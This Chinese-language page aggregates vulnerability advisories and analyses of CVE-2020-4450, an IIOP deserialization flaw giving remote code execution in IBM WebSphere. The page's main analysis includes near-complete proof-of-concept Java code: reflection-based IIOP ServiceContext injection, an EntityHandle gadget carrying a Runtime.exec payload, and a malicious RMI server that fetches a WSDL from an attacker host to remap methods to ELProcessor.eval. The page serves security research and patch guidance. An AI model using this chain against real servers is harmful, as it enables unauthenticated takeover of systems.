精华内容
下载资源
问答
  • websphere远程代码执行漏洞
    2020-11-03 04:32:48

    WebSphere远程代码执行漏洞处置方案

    2020年6月5日,IBM官方发布安全通告修复了WebSphere Application Server中的远程代码执行漏洞(CVE-2020-4450),根据IBM官方通告,WebSphere Application Server存在一处IIOP反序列化漏洞,将会导致远程代码执行,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server服务器。鉴于该漏洞影响较大,建议客户尽快安装软件更新。

    漏洞描述

    WebSphere Application Server 是一款由IBM 公司开发的高性能的 Java 应用服务器,可用于构建、运行、集成、保护和管理内部部署和/或外部部署的动态云和 Web 应用。它不仅能够确保高性能和灵活性,还提供多种开放标准编程模型选项,旨在最大程度提高开发人员的生产力。它可提供灵活先进的性能、冗余和编程模型。

    2020年6月5日,奇安信CERT监测到IBM官方发布安全通告修复了WebSphere Application Server中的远程代码执行漏洞(CVE-2020-4450),经过分析,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server服务器,鉴于该漏洞影响较大,建议客户尽快安装软件更新。

    奇安信CERT第一时间复现了CVE-2020-4450漏洞,复现截图如下:

    img

    更多相关内容
  • 2020年06月08日,360CERT监测到 IBM官方发布了 WebSphere远程代码执行 的风险通告,该漏洞编号为 CVE-2020-4450,漏洞等级:严重,漏洞评分:9.8分。 此漏洞由IIOP协议上的反序列化造成,未经身份认证的攻击者可以...

    360-CERT [三六零CERT](javascript:void(0)😉 今天

    img

    报告编号:B6-2020-080601

    报告来源:360CERT

    报告作者:Hu3sky

    更新日期:2020-08-06

    0x01 漏洞简述

    2020年06月08日,360CERT监测到 IBM官方发布了 WebSphere远程代码执行 的风险通告,该漏洞编号为 CVE-2020-4450,漏洞等级:严重,漏洞评分:9.8分

    此漏洞由IIOP协议上的反序列化造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server,在目标服务端执行任意代码,获取系统权限,进而接管服务器。

    对此,360CERT建议广大用户及时安装最新补丁,做好资产自查以及预防工作,以免遭受黑客攻击。

    0x02 风险等级

    360CERT对该漏洞的评定结果如下

    评定方式等级
    威胁等级严重
    影响面广泛
    360CERT评分9.8分

    0x03 影响版本

    • WebSphere Application Server: 9.0.0.0 to 9.0.5.4
    • WebSphere Application Server: 8.5.0.0 to 8.5.5.17
    • WebSphere Application Server: 8.0.0.0 to 8.0.0.15
    • WebSphere Application Server: 7.0.0.0 to 7.0.0.45

    0x04 漏洞详情

    iiop触发反序列化

    按照zdi给出的分析,iiop的拦截是在com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request,那么下断点进行远程调试,由于websphere自己实现了一套iiop,所以想要走到iiop触发反序列化的点还需要构造满足条件的iiop客户端,这里需要走到demarshalContext方法,前提是满足validOtsContexttrue,也就是需要serviceContext不为null
    img

    img

    假如我们已经构造了serviceContext不为null,继续往下看,将serviceContext.context_data传入demarshalContext方法。
    调用createCDRInputStream创建CDRInputStream,实际上生成的是EncoderInputStreamCDRInputStream的子类,之后调用EncoderInputStream#read_any方法。
    img

    之后的调用有些繁琐,就不列出来了,调用栈为:
    img

    serviceContext赋值

    由于需要serviceContext不为null,才能走到demarshalContext方法体里面,在com.ibm.rmi.iiop.Connection#setConnectionContexts方法中,该方法如下:
    img
    setConnectionContexts方法可以对ServiceContext属性进行设置,但是我们需要从iiop生成的默认上下文中获取存储着的当前Connection信息。

    参考@iswin师傅的文章,可以知道,在com.ibm.rmi.iiop.GIOPImpl里,存在一个getConnection方法,可以获取当前上下文的Connection实例对象,

    img

    不过该方法需要传递当前ior参数,而GIOPImpl的对象在orb里,
    img

    这些都能通过反射从defaultContext中获取。
    img

    恶意数据流构造

    看一下数据流是怎么被解包的,具体在demarshalContext方法里,也就是构造完ServeicContext下一步要执行的。

    img

    与之对应的,marshalContext方法里有相应的数据包生成代码,所以只需要将关键代码单独掏出来,再把PropagationContext对象构造一下,就能生成gadgets对象的数据流。
    img
    构造的关键代码为:
    img

    gadgets

    既然iiop已经通了,那么我们就根据zdi给出的gadgets进行构造,首先需要明确的是,反序列化的入口是org.apache.wsif.providers.ejb.WSIFPort_EJB(因为websphere自身类加载器的问题,导致现有的gadgets都无法利用,所以我们只能基于新的挖掘的类来构造gadgets)。
    img
    这里我们利用的是handle.getEJBObject方法,handle是一个Handle类型,在实现了Handle接口的类中,能够进行利用的是com.ibm.ejs.container.EntityHandle这个类,事实上,我们在对handle进行赋值的时候,比较复杂,需要反射多个对象。

    我们来看一下他的getEJBObject方法。
    这里有几处需要注意的:
    img

    lookup加载本地factory

    先来看第一处,也就是lookup方法,这里的homeJNDIName是我们在反序列化流程中可以控制的。于是,在能够出网的情况下,可以指向我们的rmi服务。
    img
    这里首先会调用registry.lookup,获取我们在rmibind的对象,由于jdk版本过高的原因,所以导致com.sun.jndi.ldap.object.trustURLCodebase选项默认被设置为false,也就是说,我们不能利用jndi去远程服务器上利用URLClassLoader动态加载加载类,只能实例化本地的Factory,这里利用的方式是加载本地类,具体细节参考:Exploiting JNDI Injections in Java。

    简单来说,正常情况下,jndi的利用会在RegistryImpl_Stub.lookup之后返回一个ReferenceWrapper的客户端代理类,ReferenceWrapper提供了三个参数,className,factory,factoryLocation,如果本地加载不到className,那么就会去factoryLocation上加载factory,大致流程为:

    img

    而现在不能远程去加载factoryLocation,那么我们寻求一个本地factory来实例化,并利用该factorygetObjectInstance方法,根据zdi提供的漏洞细节,满足条件的factoryorg.apache.wsif.naming.WSIFServiceObjectFactory

    img

    前边的调用栈是这样的,

    com.sun.jndi.rmi.registry.RegistryContext#lookupcom.sun.jndi.rmi.registry.RegistryContext#decodeObjectjavax.naming.spi.NamingManager#getObjectInstance
    

    rmi服务端可以在reference对象里对factory进行设置,当然这个factory需要满足一些条件,当调用WSIFServiceObjectFactory.getObjectInstance,我们看一下这个方法。这里wsdlLoc,serviceNS等值都可以在rmi端通过Reference进行设置。

    img

    这里会对ref进行判断,也就是Reference对象的第一个参数,也是可控的。我们需要走到下面的判断里,也就是让refWSIFServiceStubRef,原因是这样的,需要回过来看到前面,
    我们需要指定返回代理的类型是EJBHome。这里有两个地方需要指定接口的类型,一个是narrow第二个参数homeClass,一个是在Reference指定className,用来控制返回的代理类型。
    img

    WSIF web服务

    这里的getObjectInstance调用将从远程URL初始化WSIF服务,该URL指向可由攻击者控制的远程XML定义,在远程xml里,我们可以将方法进行映射,这里只说个概念,后面再仔细说。

    指定生成的stub的接口类型

    refWSIFServiceStubRef类型的时候,可以通过className来指定生成stub的接口类型,这样就能生成实现EJHome接口的代理,这里前面已经提到过了,具体在rmi服务端通过Reference进行设置。
    img

    创建动态代理

    这里会在getStub里创建代理类。
    img
    根据提供的接口,最终返回WSIFClientProxy代理类。
    img

    el表达式注入

    接着,在this.findFindByPrimaryKey获取homeClass接口的findByPrimaryKey方法。
    img
    之后,就会调用动态代理类的invke方法,传入findFindByPrimaryKeythis.key,也就是方法的参数。
    img
    WSIFClientProxy.invoke的方法里,会调用WSIFPort实现类的createOperation方法。
    img
    这个createOperation方法就能将方法进行映射,这里我们可以将findFindByPrimaryKey方法映射为本地存在的方法,比如javax.el.ELProcessoreval方法,这里的映射就主要体现在之前提到的WSIF web服务里,需要将映射内容体现在我们自定义的远程xml文件里。主要语法可以参考:WSDL Java Extension*(https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html)*,具体的调用就在自定义rmi服务上进行设置,之后的调用栈如下:
    img
    最终在ELProcessor#eval方法里执行el表达式。

    漏洞利用

    利用成功的截图如下:
    img

    版本修复

    在官网下载补丁*(https://www.ibm.com/support/pages/node/6220276)*进行分析,发现对反序列化入口WSIFPort_EJB进行了修改,在readObject方法里,将原本的handle.getEJBObject方法给取消了,这样,也就把这个链的入口给杀死了。
    img

    0x05 时间线

    2020-06-04 IBM发布预警

    2020-06-08 360CERT发布预警

    2020-07-21 ZDI发布分析报告

    2020-08-05 360CERT发布分析报告

    0x06 参考链接

    1.CVE-2020-4450: WebSphere远程代码执行漏洞通告

    https://cert.360.cn/warning/detail?id=f11756f5eb2722da048a0aecb5592a1c

    2.HubL中的EL注入导致远程代码执行

    https://xz.aliyun.com/t/3605

    3.ABUSING JAVA REMOTE PROTOCOLS IN IBM WEBSPHERE

    https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere

    4.Websphere CVE-2020-4450漏洞分析

    https://mp.weixin.qq.com/s/spDHOaFh_0zxXAD4yPGejQ

    5.Exploiting JNDI Injections in Java

    https://www.veracode.com/blog/research/exploiting-jndi-injections-java

    6.WSDL Java Extension

    https://ws.apache.org/wsif/providers/wsdl_extensions/java_extension.html

    转载自https://mp.weixin.qq.com/s/VfqoyOaLSri7rDAB2BMlxg

    展开全文
  • 漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行...该漏洞允许攻击者通过iiop向WAS进行网络请求,最终在WAS上执行任意代码。在7月,ZD...

    该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。

    0x01 漏洞概述

    IBM WebSphere Application Server(后面简称WAS)在今年6月发布了一则漏洞通告,cve编号为:CVE-2020-4450。该漏洞允许攻击者通过iiop向WAS进行网络请求,最终在WAS上执行任意代码。

    在7月,ZDI公布了漏洞细节,同天iswin师傅也发布了他对此漏洞的分析,8月6日,360cert的小伙伴也公布了他自己的分析,本文是参考以上三篇文章完成的,主要用于记录自己的调试过程,以及补充相关的分析细节。

    0x02 漏洞分析

    该漏洞主要分为三部分:

    TXServerInterceptor拦截器处理iiop请求

    利用WSIF构造Gadget

    伪造wsdl文件完成漏洞利用

    本文将从上而下将三部分进行串流分析,主要采用静态跟踪,最后会在漏洞利用部分分享如何创建相关数据流完成整条流程的串通。

    2.1 TXServerInterceptor拦截器处理iiop请求

    这一部分tinit0在19年的bh上其实已经做了相关的分享,这里只是记录一下自己的跟进流程。

    TXServerInterceptor具体代码在

    com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request,这里只截关键部分的代码:

    拦截器首先会根据ServerRequestInfo实例化ServiceContext对象,当serviceContext.context_data对象非空时可以进入TxInterceptorHelper.demarshalContext解析流程,而这里就是漏洞的起始点。

    跟进TxInterceptorHelper.demarshalContext()方法:

    对Corba处理稍微熟悉一点的可以很明显的看出这里为Corba rpc流程中的解包流程。根据传入的bypte数组初始化CDRInputStream对象用于后续进行反序列化操作。在完成CDRInputStream初始化后,调用read_any()方法初始化Any对象。

    由于IBM自己重新实现了具体的IIOP解析流程,所以不能先入为主的用JDK原生处理逻辑来思考后续漏洞调用流程。

    我们首先来跟进一下CDRInputStream的初始化逻辑,后续流程会用到其所定义的CDRReader:

    这里最终返回EncoderInputStream对象,并设置reader对象为com.ibm.rmi.iiop.CDRInputStream,reader会在后续流程中用到。

    现在跟进inputStream.read_any():

    具体实现为com.ibm.rmi.iiop.CDRInputStream#reade_any。由于CDRInputStream中未实现read_any()方法则调用com.ibm.rmi.iiop.CDRReader#read_any:

    其中最为关键的逻辑就是Any.read_value()。到这里为止,经历了以下流程:

    CDRInputStream初始化 ->CDRInputStream.read_any() ->CDRInputStream.read_value()

    看过之前那篇简述Corba文章的,可能已经清楚了,JDK原生实现逻辑在后续会触发反序列化流程,而IBM的实现方式却不尽相同,后续会触发反射调用的流程。

    跟进Any.read_value()方法:

    首先会将传入的TypeCode转化为真正的TypeCode,之后调用TCUtility.unmarshalIn()对传入的InputStream进行解包操作,想要查看全部的TypeCode的话,可以查看org.omg.CORBA.TCKind#from_int。这里我们重点关注tk_value,也就是TypeCode为29的情况:

    接下来的调用逻辑为:

    org.omg.CORBA_2_3.portable.InputStream#read_value ->com.ibm.rmi.iiop.EncoderInputStream#read_value ->com.ibm.rmi.iiop.CDRReader#read_value

    在com.ibm.rmi.iiop.CDRReader#read_value()中存在关键逻辑:

    在this.fast_read_value_ludcl();中对this.valueClass进行了初始化:

    最终通过com.ibm.rmi.util.ClassCache#loadClass调用JDK反射完成类的实例化。这里不做重点跟踪,感兴趣的可以自己跟一下。

    这里主要跟进一下his.valueHandler.readValue()方法的处理流程:

    调用了this.inputStreamBridge.simpleReadObject()最终返回一个Serializable对象,继续跟进:

    红框标注了两个重要的流程,simpleReadObjectInternal方法和simpleReadObjectLoop,这两个方法存在一定的区别。

    simpleReadObjectInternal

    simpleReadObjectInternal首先根据valueClass的类型进行流程分派,之后会向上轮询查找父类同时将subClass保存在pendingReadStack中。判断父类是否存在readObject方法,如果没有则将完成初步处理的对象传入simpleReadObjectLoop中对其子类进行反序列化。

    这里会会向上轮询查找父类同时将subClass保存在pendingReadStack中,跟进看一下addSubclass()方法:

    其将相关信息都进行了设置,这些设置在simpleReadObjectLoop中会用到。继续跟进:

    此处会判断父类中是否存在readObject方法,若不存在则完成后续处理逻辑并进入simpleReadObjectLoop逻辑之中。

    simpleReadObjectLoop

    simpleReadObjectLoop会遍历pendingReadStack中的子类,并调用continueSimpleReadObject()方法尝试反序列化。

    此处的var2.obj、var2.classDesc、var2.fvd在simpleReadObjectInternal中都已经进行了设置。跟进inputObjectUsingClassDesc()方法,和simpleReadObjectInternal是相同的逻辑,先判断是否存在readObject方法,如果存在则调用readObject方法进行反序列化操作:

    至此漏洞的触发点就梳理完毕了。

    2.2 利用WSIF构造Gadget

    2.2.1 WSIF更改执行流

    在具体梳理漏洞gadget前,先用一个例子来简单介绍一下Apache WSIF。

    WSIF全称Web服务调用框架,是一组用于调用Web服务的Java API。其和wsdl描述文件强关联,wsdl文件用于描述与Web服务的抽象结构进行交互,可以理解为Web服务API的描述文件。

    首先创建一个接口,该接口用于与对应的wsdl文件对应:

    然后本地实现Gadget接口,这里为了简单,直接将exec()方法实现为执行命令:

    具体的调用为:

    WSIFServiceFactory.getService()方法文档如下:

    可以看到这里主要需要以下几个参数:

    javax.wsdl.Definition:wsdl文件的位置

    portTypeNs:用于标识port的NameSpace,相当于配置的命名空间

    portTypeName:port的名字,在wsdl中portType为接口对象的xml表示

    这里的WSIFService.getStub(Gadget.class)方法最终返回的是一个Gadget类型的代理对象。

    wsdl文件定义如下:

    运行效果如下:

    现在我们在不改动Main代码的情况下(即不改变运行逻辑)让其执行el表达式解析(即实现不同的逻辑)。为了方便测试,只改变Main中exec()方法的参数(可以理解为这里是可控的值):

    修改wsdl如下:

    执行结果如下:

    通过上面两个例子可以简单的将WSIF理解为接口的描述文件,而接口方法的具体实现是根据wsdl配置而进行绑定的。

    所以当在面对一个存在WSIF调用的逻辑时,可以考虑使用自定义的wsdl来将执行流引向符合条件的其他实现中。

    2.2.2 Gadget执行流

    根据ZDI的文章,tint0找到了一个存在readObject方法的类,并且该类会触发JNDI逻辑,这个类就是org.apache.wsif.providers.ejb.WSIFPort_EJB:

    HomeHandle.getEJBHome()虽然也会触发JNDI流程,但是由于在具体实现时没有对返回回的代理类对象的相关方法进行引用,无法触发后续的gadget逻辑,所以此处需要构造一个Handle对象,而非一个HomeHandle对象。

    现在我们可以先继续跟着Handle.getEJBObject()的逻辑向下看,看到后面就可以理解为什么选择构造Handle对象了。

    跟进com.ibm.ejs.container.EntityHandle#getEJBObject,此处是整个Gadget的主要执行逻辑:

    总结一下分为三步:

    JNDI返回一个EJBHome类型的对象

    检查返回对象的EJBHome对象是否存在findByPrimaryKey方法

    反射调用EJBHome对象的findByPrimaryKey对象

    首先来看

    home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);

    由于最终返回类型为EJBHome,可以得知homeClass为EJBHome接口的具体实现类,且ctx.lookup(this.homeJNDIName)必须为EJBHome子类。

    接着跟进com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey查看homeClass需要满足的条件:

    可以看到必须存在findByPrimaryKey方法。在EJBHome的继承树中寻找符合条件的类有:

    com.ibm.ejs.security.registry.RegistryEntryHomecom.ibm.ws.batch.AbstractResourceHomecom.ibm.ws.batch.CounterHomecom.ibm.ws.batch.LocalJobStatusHome

    目前先不管构造哪个接口的具体实现类,先来看一下ctx.lookup()的具体实现,调用栈:

    com.sun.jndi.rmi.registry.RegistryContext#lookupcom.sun.jndi.rmi.registry.RegistryContext#decodeObjectjavax.naming.spi.NamingManager#getObjectInstance

    org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable,?>)org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance

    跟进

    org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(java.lang.Object, javax.naming.Name, javax.naming.Context,java.util.Hashtable,?>,

    javax.naming.directory.Attributes):

    这里的factory为ObjectFactory接口的具体实现,而factory是可以通过environment自定义实现的,所以这里可以通过修改environment的配置更改执行流。

    tint0这里找到的可以用ObjectFactory为org.apache.wsif.naming.WSIFServiceObjectFactory:

    由于ctx.lookup()最终要求返回的是EJBHome的实现类,而WSIFService接口并非EJBHome的子类,所以选择下面的流程。根据2.2.1中的叙述,可以明显的看出这里调用了WSIF流程。

    这里重新放一下WSIFServiceFactory.getService()方法的文档:

    对应实现的代码:

    注意红框标注的相关代码,WSIF所需要的基础参数我们都可以通过Reference对象获得。通过指定className,我们还可以指定生成的stub动态代理对象的类型,当设置其为EJBHome的具体实现类时,可以完美的匹配我们之前的需求。

    而通过自定义wsdl文件,我们可以将接口方法映射到其他的具体实现中,改变具体接口的执行流。

    2.3 伪造wsdl文件完成漏洞利用

    根据2.2.2中的内容,我们回看触发JNDI流程处的代码:

    在2.2.2中也说过,这里的home对象要满足两个条件:

    是EJBHome的具体实现类

    存在findByPrimaryKey方法

    搜索EJBHome的继承树,满足条件的有:

    com.ibm.ejs.security.registry.RegistryEntryHomecom.ibm.ws.batch.AbstractResourceHomecom.ibm.ws.batch.CounterHomecom.ibm.ws.batch.LocalJobStatusHome

    所以如果构造Reference对象中的className为其中一个类,并设置好wsdl文件中对应接口方法的映射,即可完成我们想要控制的逻辑。

    仔细研究一下上面所列举的可用的EJBHome接口子类:

    其中com.ibm.ws.batch.CounterHome是最容易构造的,可以配合javax.el.ELProcessor执行el表达式,最终导致命令执行。

    所以只需要造好wsdl,让CounterHome的findByPrimaryKey方法的具体实现指向javax.el.ELProcessor的eval方法,在返回了CounterHome动态代理对象后,会利用反射调用其findByPrimaryKey也就是我们通过wsdl绑定的javax.el.ELProcessor#eval方法,完成表达式执行。

    攻击流程可以总结如下:

    至此漏洞梳理完毕。

    0x03 漏洞利用

    根据0x02的分析,可以得出想要利用成功该漏洞所需的必备因素:

    IIOP请求构造(满足进入触发点的context)

    构造org.apache.wsif.providers.ejb.WSIFPort_EJB所需的序列化数据(最终反序列化对象的类型为Handle)

    构造wsdl文件更改接口方法的具体实现

    构造JNDI server使其返回指定的Reference对象

    接下来会对上述流程进行逐一叙述。

    3.1 IIOP请求构造

    回看com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request:

    要注意两个点:

    ServiceContext.context_data非空,且包含我们构造的序列化Gadget

    TxProperties.SINGLE_PROCESS为true

    重点来看一下ServiceContext获取逻辑,跟进((ExtendedServerRequestInfo)sri).getRequestServiceContext(0),调用逻辑如下:

    com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContextcom.ibm.rmi.iiop.ServerRequestImpl#getServiceContextcom.ibm.rmi.iiop.RequestMessage#getServiceContextcom.ibm.rmi.iiop.ServiceContextList#getServiceContext

    根据调用栈我们可以看到是从com.ibm.rmi.iiop.RequestMessage对象中获取ServiceContext对象的,在etServiceContext方法中:

    会遍历ServiceContextList,提取id为0的ServiceContext。但是由于没有编号为0的ServiceContext,所以返回的是空。

    仔细读一下官方文档,官方文档中有提及如何在RMI请求中插入ServiceContext的做法,可以参考文档进行理解:

    可以看到最终是调用ExtendedClientRequestInfo(ClientRequestInfo的父类)的add_request_service_context方法完成自定义ServiceContext的设置。那么关键点就是,我们如何从client端将ServiceContext设置到ExtendedClientRequestInfo中。

    在跟踪了ibm自定义的通信过程后,可以发现在ORB中的GIOPImpl在调用createRequest方法时会实例化ClientRequestImpl对象:

    这里有两个地方需要注意:

    获取Connection对象

    根据获取的Connection对象获取ServiceContext

    首先先看一下是如何从Connection对象中获取到ServiceContext的:

    可以看到直接是调用Connection#getServiceContexts方法。

    之后跟进ClientRequestImpl初始化逻辑:

    将获取到的ServiceContext作为参数传入到RequestMessage的构造函数中。这里就和服务端跟到的逻辑相符。

    梳理一下思路,构造IIOP请求的关键点为:

    进行第一次请求,初始化获取到的Context对象

    获取ORB

    获取ORB中的GIOPImpl

    获取Connection对象

    调用setConnectionContexts将构造好的ServiceContext设置到Connection对象中

    进行第二次请求,触发RequestMessage对象的重新发送

    具体构造可以动态调试一下,利用反射完成相关的值设置。

    最终构造如下:

    Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);byte[] result = new byte[]{0, 0};ServiceContext serviceContext = new ServiceContext(0, result);ArrayList v4 = new ArrayList();v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");

    3.2 构造所需的序列化数据

    在2.1的分析中,我们知道要满足触发反序列化流程需要进行特殊构造。漏洞触发点为inputStream.read_any(),为了满足上方对inputStream相关数据的提取,所以需要特殊构造byte[]:

    既然存在demarshalContext方法,那一定存在marshalContext方法:

    按照上面的方法直接生成符合要求的byte[]:

    CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null, null, new otid_t(0, 0, new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream, propagationContext);result = outputStream.toByteArray();

    在满足了触发点后,我们需要构造gadget满足条件:

    构造一个org.apache.wsif.providers.ejb.WSIFPort_EJB对象,其中还需要构造WSIFPort_EJB#readObject方法传入值反序列化得到一个javax.ejb.Handle对象。

    构造EntityHandle对象

    3.2.1 生成WSIFPort_EJB序列化对象

    直接看org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject:

    这里我们需要首先设置this.fieldEjbObject对象并调用其getHandle方法,生成一个Handle对象。这里的this.fieldEjbObject是EJBObject接口的具体实现。所以可以自己寻找一个具体实现类,并覆盖其getHandle方法。

    3.2.2 构造EntityHandle对象

    构造一个EntityHandle对象还是比较麻烦的,我们来理一下:

    我们需要将homeJNDIName设置为我们自己定义的RMI Server地址,同时key是最终传入findByPrimaryKey的参数,需要构造为我们要执行的代码,所以需要构造特殊的BeanId对象:

    同时为了将之后RMI流程指向org.apache.wsif.naming.WSIFServiceObjectFactory,需要我们在Properties对象中设置相关的environment:

    我们首先构造BeanId。跟进com.ibm.ejs.container.BeanId#getJNDIName:

    所以还需要构造HomeInternal的具体实现对象,并使其返回String类型。

    整理一下需要构造的HomeInternal对象的需求:

    构造J2EEName对象,满足要求

    寻找一个HomeInternal的具体实现对象,其getJNDIName方法返回String,且返回不受到pkey干扰

    查看继承树后,发现EJSHome抽象类满足要求:

    所以梳理一下思路:

    实例化EJSHome接口实现类

    实例化J2EEName对象

    反射设置J2EEName到EJSHome接口实现类

    反射设置EJSHome接口实现类

    的this.jndiName变量为RMI Server的地址

    实例化BeanId

    实例化BeanMetaData

    实例化Properties

    这里重写了com.ibm.ejs.container.EJSWrapper:

    public Handle getHandle() {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa","aa","aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome,j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc");Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /Applications/Calculator.app')\")";//Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")";BeanId beanId = new BeanId(sessionHome,key,true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}

    3.3 构造RMI Server绑定

    根据2.2.2的分析,我们最终的RMI流程会进行到org.apache.wsif.naming.WSIFServiceObjectFactory中:

    所以我们需要构造一个恶意的RMI Server,其应该满足以下要求:

    返回一个WSIFServiceStubRef对象

    指定用于后续调用WSIF流程的基础参数:

    wsdLoc

    serviceNS

    serviceName

    portTypeNS

    portTypeName

    preferredPort

    设置className为com.ibm.ws.batch.CounterHome

    以上有关WSIF的参数设置,可以参考2.2.1中的叙述,这里就不再过多重复了。

    最终可以构造RMI Server如下:

    public class RmiServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1097);Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));ref.add(new StringRefAddr("serviceNS", null));ref.add(new StringRefAddr("serviceName", null));ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));ref.add(new StringRefAddr("portTypeName", "Gadget"));ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("poc", referenceWrapper);}}

    3.4 构造WSDL文件

    这一部分参考2.2.1中叙述,这里直接给出wsdl文件的内容:

    3.5 整合poc

    最后将3.2构造好的WSIFPort_EJB序列化对象写入3.1构造好的IIOP请求中:

    至此poc构造完毕。

    攻击效果如下:

    0x04 参考

    https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-webspherehttps://www.secrss.com/articles/24353https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdfhttps://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htmhttps://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm[http://ws.apache.org/wsif/index.html][http://ws.apache.org/wsif/index.html]

    往期精彩

    感兴趣的可以点个关注!!!

    关注「安全先师」

    把握前沿安全脉搏

    展开全文
  • <?xml version="1.0" ?>...name="findByPrimaryKeyRequest">name="el" type="xsd:string"/>name="findByPrimaryKeyResponse">name="counterObject" type="xsd:object"/>name="Gadget">...
  • 0x01 漏洞背景2020 年 06 月 08 日,360CERT监测到 IBM官方发布了 WebSphere远程代码执行 的风险通告,该漏洞编号为 CVE-2020-4450,漏洞等级:高危。WebSphere Application Server 是一款由IBM 公司开发的高性能的...
    2a02825a4ac24175a183adc8f692506b.png

    0x01 漏洞背景

    2020 年 06 月 08 日,360CERT监测到 IBM官方发布了 WebSphere远程代码执行 的风险通告,该漏洞编号为 CVE-2020-4450,漏洞等级:高危。

    WebSphere Application Server 是一款由IBM 公司开发的高性能的Java 中间件服务器,可用于构建、运行、集成、保护和管理部署的动态云和Web 应用。它不仅能够确保高性能和灵活性,还提供多种开放标准编程模型选项,旨在最大程度提高开发人员的生产力。

    此漏洞由IIOP协议上的反序列化造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server,在目标服务端执行任意代码,获取系统权限,进而接管服务器。

    对此,360CERT建议广大用户及时安装最新补丁,做好资产自查以及预防工作,以免遭受黑客攻击。

    0x02 风险等级

    360CERT对该漏洞的评定结果如下

    8002ccedc88c783310b1973a8876ec88.png

    0x03 漏洞详情

